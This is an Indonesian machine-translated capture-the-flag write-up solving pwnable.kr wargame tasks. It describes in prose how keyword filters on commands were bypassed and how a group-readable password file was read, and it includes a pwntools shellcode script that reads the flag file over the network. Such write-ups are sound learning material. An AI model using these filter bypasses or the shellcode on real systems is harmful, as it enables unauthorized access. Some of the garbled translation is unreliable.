Solusi tugas dengan pwnable.kr cmd1, cmd2, asm, blukat. Memotong penyaringan di Linux. Menulis shellcode dengan pwntools

gambar

Dalam artikel ini, kita akan melihat cara memintas filter yang ringan, memahami cara menulis shell menggunakan pwntools, dan juga menyelesaikan beberapa tugas dari situs pwnable.kr .

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

Solusi dari cmd1 tugas


Kami mengklik ikon dengan cmd1 tanda tangan, dan kami diberitahu bahwa kami perlu terhubung melalui SSH dengan tamu kata sandi.

gambar

Saat terhubung, kami melihat spanduk yang sesuai.

gambar

Mari cari tahu file apa yang ada di server, serta hak apa yang kita miliki.

gambar

Mari kita lihat kode sumbernya.

gambar

Semuanya sangat sederhana: kita meneruskan perintah ke program dan menjalankannya di baris perintah, tetapi pertama-tama filter kata-kata flag, sh, tmp. Filter menandai, tetapi tidak fla *.

gambar

Kami menyerahkan bendera dan mendapatkan satu poin lagi.

Solusi dari cmd2 tugas


Kami mengklik ikon dengan cmd2 tanda tangan, dan kami diberitahu bahwa kami perlu terhubung melalui SSH dengan kata sandi untuk cmd1 pekerjaan.

gambar

Saat terhubung, kami melihat spanduk yang sesuai.

gambar

Mari cari tahu file apa yang ada di server, serta hak apa yang kita miliki.

gambar

Mari kita lihat kode sumbernya.

gambar

Sepertinya cmd1, tetapi filter yang lebih kompleks. Sekali lagi memfilter flag, tetapi tidak memfilter fla *. Semuanya rumit dengan penyaringan slash, tetapi kita dapat menjalankan / bin / cat sebagai perintah -p cat.

gambar

Kami menyerahkan bendera dan mendapatkan poin.

Solusi pekerjaan blukat


Kami mengklik ikon dengan blukat tanda tangan, dan kami diberitahu bahwa kami perlu terhubung melalui SSH dengan tamu kata sandi.

gambar

Saat terhubung, kami melihat spanduk yang sesuai.

gambar

Mari cari tahu file apa yang ada di server, serta hak apa yang kita miliki.

gambar

Mari kita lihat kode sumbernya.

gambar

Jadi, file dengan kata sandi dibuka di sini, bertengkar dengan kunci dan menampilkan bendera. Ini hanya file dengan kata sandi jika Anda membaca file dengan kata sandi, ini akan menampilkan kepada kami teks kesalahan. Sebenarnya, kesalahannya adalah kata sandi ... Karena file dapat dibaca oleh grup, kita ada di grup ini.

gambar

gambar

Kami menyerahkan bendera dan mendapatkan tiga poin.

Solusi pekerjaan ASM


Kami mengklik ikon dengan tanda tangan asm, dan kami diberitahu bahwa kami harus terhubung melalui SSH dengan tamu kata sandi.

gambar

Saat terhubung, kami melihat spanduk yang sesuai.

gambar

Mari cari tahu file apa yang ada di server, serta hak apa yang kita miliki.

gambar

Mereka meninggalkan kami readme, membacanya.

gambar

Karena itu, kita harus mengirim shellcode yang bertuliskan file flag ke port 9026.

gambar

Bagus Kami menggunakan pwntools, kami mendefinisikan parameter untuk koneksi dan arsitektur.

from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' r.interactive() 

Untuk mengkompilasi shell kita akan menggunakan modul shellcraft. Cara kerja shellcode:

  1. Kami memakai tumpukan satu baris - nama file.
  2. Buka file dengan nama dari atas tumpukan (register rsp).
  3. Karena fungsi terbuka akan mengembalikan deskriptor file terbuka di register rax - parameter pertama untuk dibaca, kita akan membaca 64 byte pada stack, oleh karena itu register rsp akan menjadi parameter kedua.
  4. Sekarang kita menulis ke output standar (deskriptor 1) bendera yang terletak di atas tumpukan (register rsp).
  5. Kami mengumpulkan shell dan kapal kami.

 from pwn import * r = remote('pwnable.kr', 9026) context.arch = 'amd64' payload = shellcraft.pushstr('this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong') payload += shellcraft.open('rsp', 0, 0) payload += shellcraft.read('rax', 'rsp', 64) payload += shellcraft.write(1,'rsp', 64) shell = asm(payload) r.send(shell) r.interactive() 

gambar

Kami menyerahkan bendera dan mendapatkan 6 poin. Sampai jumpa di artikel berikutnya, di mana kami akan mempertimbangkan kerentanan yang kompleks, Use After Free.

Kami berada di saluran telegram: saluran di Telegram .

Source: https://habr.com/ru/post/id462091/


All Articles